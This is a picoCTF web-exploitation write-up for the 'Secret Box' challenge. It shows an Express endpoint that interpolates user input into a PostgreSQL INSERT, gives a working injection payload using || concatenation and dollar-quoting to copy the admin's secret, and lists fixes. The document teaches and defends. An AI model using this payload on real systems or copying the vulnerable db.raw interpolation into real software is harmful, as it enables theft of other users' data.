picoCTF · picoGym Web Exploitation Medium 200 pts

Secret Box — PostgreSQL INSERT Injection with Dollar-Quoting

OWASP A03 — Injection

Vulnerability Overview

A Node.js/Express application used parameterized queries throughout except in one endpoint — the secret creation handler directly interpolated user input into the SQL string. This allowed injection into an INSERT statement, using PostgreSQL's string concatenation operator to embed a subquery that extracted the admin's secret.

Vulnerable Code

// POST /secrets/create — VULNERABLE
app.post('/secrets/create', authMiddleware, async (req, res) => {
    const query = await db.raw(
        `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
    );
});

The content field is raw user input concatenated directly into the SQL string. userId comes from a valid session and is trusted — but content is attacker-controlled.

Exploitation

The goal was to make the INSERT store the admin's secret as our own content. PostgreSQL's || operator concatenates strings and can embed subqueries. Dollar-quoting ($$...$$) avoids single-quote conflicts within the nested query:

' || (SELECT content FROM secrets WHERE owner_id = (SELECT id FROM users WHERE username = $$admin$$)) || '

The resulting query became:

INSERT INTO secrets(owner_id, content)
VALUES ('our_id', '' || (SELECT content FROM secrets 
    WHERE owner_id = (SELECT id FROM users WHERE username = $$admin$$)) || '')

After submission, the admin's flag appeared in our secrets list on the homepage.

Root Cause

A single inconsistency in an otherwise well-parameterized codebase — one db.raw() call with string interpolation — was sufficient to compromise the entire secrets table. SQL injection requires only one vulnerable query anywhere in the application.

ControlImplementation
Parameterized queriesReplace db.raw(\`... '${content}'\`) with db.raw("... VALUES (?, ?)", [userId, content])
ORM bindingUse Knex's .insert({owner_id: userId, content: content}) — parameterized by default
Least privilegeThe application DB user should have no SELECT access to other users' secrets
Key Insight: PostgreSQL's dollar-quoting is a useful tool for bypassing single-quote escaping during injection. More importantly, a codebase with 99% parameterized queries is still fully vulnerable to SQL injection if one endpoint uses string concatenation. Consistent enforcement — enforced through ORM usage or code review tooling — is the only reliable defense.
Flag See challenge on picoCTF picoGym